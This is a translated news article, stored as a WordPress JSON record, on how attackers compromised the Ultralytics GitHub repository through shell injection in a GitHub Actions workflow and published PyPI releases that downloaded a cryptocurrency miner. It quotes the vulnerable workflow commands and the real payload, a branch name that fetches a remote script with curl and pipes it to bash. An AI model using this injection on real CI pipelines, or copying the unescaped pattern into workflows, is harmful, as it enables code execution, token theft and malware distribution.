{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"A Bug in the GitHub Actions Handler Led to the Release of Malicious Ultralytics Releases","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Attackers managed to execute code with the privileges of a GitHub Actions handler in the repository of the Python library Ultralytics, which is used for computer vision tasks such as object detection in images and image segmentation. After gaining access to the repository, the attackers published several new releases of Ultralytics in the PyPI directory, including malicious changes for cryptocurrency mining. Over the past month, the Ultralytics library has been downloaded from the PyPI directory more than 6.4 million times. <\/p>\n
A vulnerability in the ultralytics-actions package, used for automatically triggering handlers when certain actions occur in a GitHub repository via GitHub Actions, was exploited to compromise the repository. In the ultralytics project, the vulnerable handler was bound to the pull_request_target event and was triggered upon the arrival of new pull requests. Specifically, to format code in incoming pull requests, the format.yml handler was invoked, executing the code specified in the run section of the action.yml file, which contained shell commands with substitution placeholders: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name \"${{ inputs.github_username }}\" git config --global user.email \"${{ inputs.github_email }}\" <\/p>\n
Thus, the name of the Git branch mentioned in the pull request was injected into the shell commands without proper escaping. Notably, a similar vulnerability involving the use of an external value in the echo function was already fixed in the ultralytics-actions package in August: echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\" <\/p>\n
To execute their code within the context of the GitHub Actions handler, the attackers sent a pull request to the ultralytics repository, specifying as the branch name: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Accordingly, when the pull request arrived, the attackers' string \"$(…)\" was injected into the code, which, when the handler was subsequently executed, led to the execution of the code \"curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash\".
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Running code in the context of GitHub Actions can be used to capture repository access tokens and other confidential data. It's still unclear exactly how the attackers managed to create a release that allowed them to execute their code in GitHub Actions, but it is believed that this was made possible by changing the publish.yml handler (the attackers removed the check for the account permitted to publish releases to PyPI) and using techniques to poison the GitHub Actions build cache to inject their data into the release. <\/p>\n
The first malicious release of Ultralytics 8.3.41 was published by the attackers in the PyPI directory on December 4 at 23:51 (MSK) and was removed at 12:15 the next day. At 15:47, another release 8.3.42 was posted, which was deleted at 16:47. Thus, the malicious versions were available for download for a total of about 13 hours (on a day when PyPI records about 250,000 downloads of the ultralytics library). The releases 8.3.41 and 8.3.42 contained code that facilitated downloading from an external server<\/a> XMRig component for cryptocurrency mining. <\/p>\n
![\"A](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
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